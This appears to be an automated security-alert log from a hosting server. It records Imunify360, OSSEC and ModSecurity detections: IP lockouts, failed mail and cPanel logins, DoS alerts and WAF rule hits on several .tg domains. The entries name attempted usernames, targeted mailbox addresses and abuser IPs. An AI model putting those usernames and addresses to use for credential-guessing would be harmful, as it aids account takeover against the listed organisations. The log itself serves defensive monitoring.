Jun 25 01:03:54 ns5 auth[161607]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 190.89.137.113 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.197.8.164
country_id: 3175395
description:
Jun 25 12:31:06 ns5 auth[161607]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.197.8.164 has been locked due to Imunify RBL


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 77.83.39.59
country_id: 690791
description:
2026-06-25 02:28:58 H=([77.83.39.59]) [77.83.39.59]:61679 F=<office@bluemarine-services.com> rejected RCPT <contact@sthandling-aero.tg>: The mail server could not deliver mail to contact@sthandling-aero.tg.  The account or domain may not exist, they may be blacklisted, or missing the proper dns entries.


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 200.77.179.91
country_id: 3469034
description:
Jun 25 05:11:39 ns5 auth[161607]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 200.77.179.91 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 194.12.86.29
country_id: 690791
description:
Jun 25 02:32:10 ns5 auth[161607]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 194.12.86.29 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 177.44.97.42
country_id: 3469034
description:
Jun 25 04:33:45 ns5 auth[161607]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 177.44.97.42 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 196.0.124.58
country_id: 226074
description:
Jun 25 05:12:00 ns5 auth[161607]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 196.0.124.58 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 131.161.55.5
country_id: 3608932
description:
Jun 25 04:25:10 ns5 auth[161607]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 131.161.55.5 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 37.221.129.89
country_id: 690791
description:
Jun 25 01:39:17 ns5 auth[161607]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 37.221.129.89 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 190.181.97.250
country_id: 3865483
description:
Jun 25 04:09:56 ns5 auth[161607]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 190.181.97.250 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 190.181.90.77
country_id: 3865483
description:
Jun 25 14:01:44 ns5 auth[161607]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 190.181.90.77 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 212.237.123.2
country_id: 99237
description:
2026-06-25 23:49:10 dovecot_plain authenticator failed for H=(localhost) [212.237.123.2]:41751: 535 Incorrect authentication data (set_id=mointie@emt.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 138.117.16.117
country_id: 3865483
description:
Jun 25 20:04:31 ns5 auth[737175]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 138.117.16.117 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 61.73.190.98
country_id: 1835841
description:
Jun 25 23:48:27 ns5 auth[2495]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 61.73.190.98 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 175.199.67.164
country_id: 1835841
description:
Jun 25 23:48:25 ns5 auth[2495]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 175.199.67.164 has been locked due to Imunify RBL


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 170.79.29.171
country_id: 3469034
description:
[2026-06-25 23:48:39 +0000] info [cpaneld] 170.79.29.171 - mac "GET /login/?login_only=1&user=mac&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user mac (has_cpuser_file failed)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 223.197.145.126
country_id: 1819730
description:
2026-06-25 23:48:42 dovecot_login authenticator failed for H=([223.197.145.126]) [223.197.145.126]:58838: 535 Incorrect authentication data (set_id=info@sigm.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 196.170.57.221
country_id: 2363686
description:
2026-06-25 17:56:05 dovecot_plain authenticator failed for H=([127.0.0.1]) [196.170.57.221]:51514: 535 Incorrect authentication data (set_id=documentation@dgdn-togo.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.49
country_id: 130758
description:
Jun 25 19:48:11 ns5 auth[736161]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.49 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.158
country_id: 130758
description:
2026-06-25 23:48:26 dovecot_login authenticator failed for H=(localhost) [81.30.98.158]:9268: 535 Incorrect authentication data (set_id=bugmenot@ns5.netmaster.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 221.165.172.38
country_id: 1835841
description:
2026-06-25 23:48:23 dovecot_login authenticator failed for H=([221.165.172.38]) [221.165.172.38]:60586: 535 Incorrect authentication data (set_id=info@sigm.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.44
country_id: 130758
description:
Jun 25 19:48:37 ns5 auth[736161]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.44 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 60.8.73.174
country_id: 1814991
description:
Jun 25 23:48:16 ns5 auth[2495]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 60.8.73.174 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 122.187.230.38
country_id: 1269750
description:
Jun 25 23:48:37 ns5 auth[2495]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 122.187.230.38 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 211.93.6.230
country_id: 1814991
description:
Jun 25 23:48:41 ns5 auth[2495]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 211.93.6.230 has been locked due to Imunify RBL


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 70.53.241.108
country_id: 6251999
description:
[2026-06-25 23:48:22 +0000] info [cpaneld] 70.53.241.108 - admin "GET /login/?login_only=1&user=admin&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user admin (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 222.254.220.37
country_id: 1562822
description:
[2026-06-25 23:48:35 +0000] info [cpaneld] 222.254.220.37 - maci "GET /login/?login_only=1&user=maci&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user maci (has_cpuser_file failed)


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 171.25.193.40
country_id: 2661886
description:
171.25.193.40 - pjwfvzan [25/Jun/2026:20:41:33 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=9725383&pdata=https%253A%252F%252Fauditeccandco.com%253A2083%252Fexecute%252FDomainInfo%252Fdomains_data&id=7fa3b767c460b54a2be4d49030b349c7&ts=1782420092 HTTP/2.0" 302 0 auditeccandco.com "https://auditeccandco.com:2083/execute/DomainInfo/domains_data" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/145.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:171.25.193.40


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 176.44.100.11
country_id: 102358
description:
[2026-06-25 23:48:24 +0000] info [cpaneld] 176.44.100.11 - macite "GET /login/?login_only=1&user=macite&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user macite (has_cpuser_file failed)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 143.110.187.49
country_id: 1269750
description:
Jun 25 23:48:43 ns5 auth[2495]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 143.110.187.49 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 211.93.6.230
country_id: 1814991
description:
2026-06-25 23:48:43 dovecot_login authenticator failed for H=([211.93.6.230]) [211.93.6.230]:30978: 535 Incorrect authentication data (set_id=info@sigm.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.62
country_id: 130758
description:
Jun 25 23:48:49 ns5 auth[2495]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.62 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 168.194.25.219
country_id: 3469034
description:
Jun 25 20:19:03 ns5 auth[737175]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 168.194.25.219 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 187.120.73.188
country_id: 3469034
description:
Jun 25 15:07:46 ns5 auth[161607]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 187.120.73.188 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 60.8.73.174
country_id: 1814991
description:
2026-06-25 23:48:18 dovecot_login authenticator failed for H=(hebei.8.60.in-addr.arpa) [60.8.73.174]:27568: 535 Incorrect authentication data (set_id=info@sigm.tg)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 185.183.157.214
country_id: 2921044
description:
[2026-06-25 21:01:19 +0000] info [cpaneld] 185.183.157.214 - qledpnjw "GET /execute/DomainInfo/domains_data HTTP/1.1" FAILED LOGIN cpaneld: access denied for root, reseller, and user password


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.158
country_id: 130758
description:
Jun 25 23:48:24 ns5 auth[2495]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.158 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 148.163.113.150
country_id: 6252001
description:
2026-06-25 17:03:28 dovecot_plain authenticator failed for H=(cameg-togo.tg) [148.163.113.150]:51410: 535 Incorrect authentication data (set_id=sales@mail.cameg-togo.tg)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 158.173.77.9
country_id: 3175395
description:
[2026-06-25 23:48:26 +0000] info [whostmgrd] 158.173.77.9 - koolnetfree "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN whostmgrd: user password incorrect


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 178.219.100.136
country_id: 798544
description:
Jun 25 21:49:33 ns5 auth[737175]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 178.219.100.136 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 217.26.179.127
country_id: 3175395
description:
Jun 25 16:51:42 ns5 auth[161607]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 217.26.179.127 has been locked due to Imunify RBL


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 103.36.11.239
country_id: 1643084
description:
103.36.11.239 - - [25/Jun/2026:18:44:27 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=7115879&pdata=https%253A%252F%252Fucao-uut.tg%252Fadmissions%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1782413064 HTTP/2.0" 302 0 ucao-uut.tg "https://ucao-uut.tg/admissions/" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/149.0.0.0 Mobile Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:103.36.11.239


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 86.48.22.202
country_id: 6252001
description:
Jun 25 23:49:06 ns5 auth[2495]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 86.48.22.202 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 221.165.172.38
country_id: 1835841
description:
Jun 25 23:48:21 ns5 auth[2495]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 221.165.172.38 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 41.216.209.74
country_id: 933860
description:
Jun 25 18:47:52 ns5 auth[161607]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 41.216.209.74 has been locked due to Imunify RBL


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 181.44.129.71
country_id: 3865483
description:
[2026-06-25 23:48:30 +0000] info [cpaneld] 181.44.129.71 - macit "GET /login/?login_only=1&user=macit&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user macit (has_cpuser_file failed)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 223.197.145.126
country_id: 1819730
description:
Jun 25 23:48:40 ns5 auth[2495]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 223.197.145.126 has been locked due to Imunify RBL


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 89.58.41.156
country_id: 2921044
description:
89.58.41.156 - tqbcalqt [25/Jun/2026:20:51:17 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=13146222&pdata=https%253A%252F%252Fmo2.mairie.tg%253A2083%252Fexecute%252FDomainInfo%252Fdomains_data&id=7fa3b767c460b54a2be4d49030b349c7&ts=1782420676 HTTP/2.0" 302 0 mo2.mairie.tg "https://mo2.mairie.tg:2083/execute/DomainInfo/domains_data" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/145.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:89.58.41.156


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.142
country_id: 130758
description:
2026-06-25 23:48:33 dovecot_login authenticator failed for H=(localhost) [81.30.98.142]:34750: 535 Incorrect authentication data (set_id=flash@ns5.netmaster.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.211.198
country_id: 2750405
description:
2026-06-25 16:08:17 dovecot_login authenticator failed for H=(nuRGbFW) [158.94.211.198]:63106: 535 Incorrect authentication data (set_id=ccit@ccit.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.15.157.212
country_id: 798544
description:
Jun 25 22:34:02 ns5 auth[737175]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.15.157.212 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.142
country_id: 130758
description:
Jun 25 23:48:25 ns5 auth[2495]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.142 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 186.124.218.200
country_id: 3865483
description:
Jun 25 14:04:13 ns5 auth[161607]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 186.124.218.200 has been locked due to Imunify RBL


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 176.197.231.94
country_id: 2017370
description:
[2026-06-25 23:48:43 +0000] info [cpaneld] 176.197.231.94 - ma "GET /login/?login_only=1&user=ma&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user ma (has_cpuser_file failed)


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 31.133.0.235
country_id: 798544
description:
31.133.0.235 - uljcqiuy [25/Jun/2026:20:51:20 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=6776171&pdata=https%253A%252F%252Fdaula.tg%253A2083%252Fexecute%252FDomainInfo%252Fdomains_data&id=7fa3b767c460b54a2be4d49030b349c7&ts=1782420679 HTTP/2.0" 302 0 daula.tg "https://daula.tg:2083/execute/DomainInfo/domains_data" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/145.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:31.133.0.235


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.144
country_id: 130758
description:
Jun 25 19:48:04 ns5 auth[736161]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.144 has been locked due to Imunify RBL


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 177.10.88.85
country_id: 3469034
description:
[2026-06-25 23:48:27 +0000] info [cpaneld] 177.10.88.85 - macitetg "GET /login/?login_only=1&user=macitetg&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user macitetg (has_cpuser_file failed)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 61.73.190.98
country_id: 1835841
description:
2026-06-25 23:48:29 dovecot_login authenticator failed for H=([61.73.190.98]) [61.73.190.98]:52281: 535 Incorrect authentication data (set_id=info@sigm.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 122.187.230.38
country_id: 1269750
description:
2026-06-25 23:48:39 dovecot_login authenticator failed for H=([122.187.230.38]) [122.187.230.38]:42209: 535 Incorrect authentication data (set_id=info@sigm.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.62
country_id: 130758
description:
Jun 25 23:49:44 ns5 auth[2495]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.62 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.142
country_id: 130758
description:
Jun 25 23:49:48 ns5 auth[2495]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.142 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.158
country_id: 130758
description:
2026-06-25 23:49:54 dovecot_login authenticator failed for H=(localhost) [81.30.98.158]:25660: 535 Incorrect authentication data (set_id=jiang@ns5.netmaster.tg)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 181.211.105.32
country_id: 3658394
description:
[2026-06-25 23:50:52 +0000] info [cpaneld] 181.211.105.32 - festic "GET /login/?login_only=1&user=festic&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user festic (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 79.177.157.168
country_id: 294640
description:
[2026-06-25 23:50:56 +0000] info [cpaneld] 79.177.157.168 - fest "GET /login/?login_only=1&user=fest&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user fest (has_cpuser_file failed)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.62
country_id: 130758
description:
2026-06-25 23:49:46 dovecot_login authenticator failed for H=(localhost) [81.30.98.62]:54252: 535 Incorrect authentication data (set_id=p1@ns5.netmaster.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.49
country_id: 130758
description:
2026-06-25 23:49:47 dovecot_login authenticator failed for H=(localhost) [81.30.98.49]:14956: 535 Incorrect authentication data (set_id=cvs@ns5.netmaster.tg)


plugin: ossec
rule: 31131
name: Anti-bot protection. User failed to pass
abuser: 43.173.179.135
country_id: 1880251
description:
43.173.179.135 - - [25/Jun/2026:23:51:07 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=10066281&pdata=https%253A%252F%252F24heureinfo.tg%252Fwp-json%252Fwp%252Fv2%252Fposts%252F53098&id=7fa3b767c460b54a2be4d49030b349c7&ts=1782431465 HTTP/1.1" 404 561 24heureinfo.tg "https://24heureinfo.tg/wp-json/wp/v2/posts/53098" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:43.173.179.135


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.44
country_id: 130758
description:
2026-06-25 23:49:56 dovecot_login authenticator failed for H=(localhost) [81.30.98.44]:44998: 535 Incorrect authentication data (set_id=ags@ns5.netmaster.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.158
country_id: 130758
description:
Jun 25 23:49:52 ns5 auth[2495]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.158 has been locked due to Imunify RBL


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 188.50.43.252
country_id: 102358
description:
[2026-06-25 23:50:49 +0000] info [cpaneld] 188.50.43.252 - festicstg "GET /login/?login_only=1&user=festicstg&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user festicstg (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 105.100.120.83
country_id: 2589581
description:
[2026-06-25 23:50:54 +0000] info [cpaneld] 105.100.120.83 - festi "GET /login/?login_only=1&user=festi&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user festi (has_cpuser_file failed)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.142
country_id: 130758
description:
2026-06-25 23:49:50 dovecot_login authenticator failed for H=(localhost) [81.30.98.142]:46944: 535 Incorrect authentication data (set_id=disney@ns5.netmaster.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.144
country_id: 130758
description:
2026-06-25 23:49:58 dovecot_login authenticator failed for H=(localhost) [81.30.98.144]:61826: 535 Incorrect authentication data (set_id=sje@ns5.netmaster.tg)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 102.54.238.57
country_id: 2542007
description:
[2026-06-25 23:51:12 +0000] info [cpaneld] 102.54.238.57 - e.carine "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user e.carine (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 102.54.238.57
country_id: 2542007
description:
[2026-06-25 23:52:20 +0000] info [cpaneld] 102.54.238.57 - e.sanvee "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user e.sanvee (has_cpuser_file failed)


plugin: enhanced_dos
rule: enhanced_dos
name: Enhanced DoS detection
abuser: 8.230.26.145
country_id: 1835841
description:
Denial of Service (DoS) attack was discovered from 8.230.26.145: 80 connections per 30 seconds to 443 port.


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 74.128.252.12
country_id: 6252001
description:
[2026-06-25 23:54:44 +0000] info [cpaneld] 74.128.252.12 - admin "GET /login/?login_only=1&user=admin&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user admin (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 174.58.77.139
country_id: 6252001
description:
[2026-06-25 23:54:55 +0000] info [cpaneld] 174.58.77.139 - sahamt "GET /login/?login_only=1&user=sahamt&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user sahamt (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 71.166.37.120
country_id: 6252001
description:
[2026-06-25 23:54:47 +0000] info [cpaneld] 71.166.37.120 - sahamtg "GET /login/?login_only=1&user=sahamtg&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: access denied for root, reseller, and user password


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 172.58.54.157
country_id: 6252001
description:
[2026-06-25 23:55:08 +0000] info [cpaneld] 172.58.54.157 - sa "GET /login/?login_only=1&user=sa&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user sa (has_cpuser_file failed)


plugin: modsec
rule: 33311
name: IM360 WAF: Found crawler not in whitelist
abuser: 184.174.126.104
country_id: 6252001
domain: tdn.tg
description:
IM360 WAF: Found crawler not in whitelist||RSV:8.20||T:APACHE||RA:184.174.126.104||TA:184.174.126.104||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 160.153.186.46
country_id: 6252001
description:
Jun 25 23:55:58 ns5 auth[2495]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 160.153.186.46 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 187.184.121.127
country_id: 3996063
description:
2026-06-25 23:55:57 dovecot_plain authenticator failed for H=(localhost) [187.184.121.127]:64888: 535 Incorrect authentication data (set_id=support@mesyscom.com)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 187.184.121.127
country_id: 3996063
description:
Jun 25 23:55:55 ns5 auth[2495]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 187.184.121.127 has been locked due to Imunify RBL


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 196.42.31.137
country_id: 4566966
domain: togodailynews.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:HEAD http:/togodailynews.tg/wp-content/uploads/2026/04/ATDI-German-Embassy_211-1-768x512.webp HTTP/1.1||RSV:8.20||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 197.249.52.3
country_id: 1036973
domain: togodailynews.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:HEAD http:/togodailynews.tg/wp-content/uploads/2026/04/YasApp_24Heur.Info_.jpg HTTP/1.1||RSV:8.20||T:APACHE||


plugin: modsec
rule: 77350307
name: IM360 WAF: Prohibited WordPress username login/registration
abuser: 45.132.195.203
country_id: 2960313
domain: brmn.tg
description:
IM360 WAF: Prohibited WordPress username login/registration||WPU:wadminw||User:zgqykfsi||RSV:8.20||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 105.105.229.29
country_id: 2589581
domain: togodailynews.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:HEAD http:/togodailynews.tg/wp-content/uploads/2026/03/WhatsApp-Image-2026-03-17-at-22.34.41-768x432.webp HTTP/1.1||RSV:8.20||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 190.106.222.62
country_id: 3595528
domain: togodailynews.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:HEAD http:/togodailynews.tg/wp-content/uploads/2026/06/Thierno-Habib-Hann-PDG-de-ShafDB-sadresse-aux-medias-apres-avoir-devoile-la-nouvelle-identite-visuelle-de-la-banque-768x512.webp HTTP/1.1||RSV:8.20||T:APACHE||


plugin: modsec
rule: 33311
name: IM360 WAF: Found crawler not in whitelist
abuser: 38.154.203.158
country_id: 6252001
domain: vitrinenews.tg
description:
IM360 WAF: Found crawler not in whitelist||RSV:8.20||T:APACHE||RA:38.154.203.158||TA:38.154.203.158||


plugin: enhanced_dos
rule: enhanced_dos
name: Enhanced DoS detection
abuser: 34.165.245.165
country_id: 294640
description:
Denial of Service (DoS) attack was discovered from 34.165.245.165: 80 connections per 30 seconds to 443 port.


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 103.245.236.231
country_id: 1562822
description:
Jun 25 23:56:10 ns5 auth[2495]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 103.245.236.231 has been locked due to Imunify RBL


plugin: enhanced_dos
rule: enhanced_dos
name: Enhanced DoS detection
abuser: 54.218.236.159
country_id: 6252001
description:
Denial of Service (DoS) attack was discovered from 54.218.236.159: 80 connections per 30 seconds to 443 port.


plugin: enhanced_dos
rule: enhanced_dos
name: Enhanced DoS detection
abuser: 34.166.109.218
country_id: 102358
description:
Denial of Service (DoS) attack was discovered from 34.166.109.218: 80 connections per 30 seconds to 443 port.


plugin: modsec
rule: 77350307
name: IM360 WAF: Prohibited WordPress username login/registration
abuser: 45.132.195.112
country_id: 2960313
domain: brmn.tg
description:
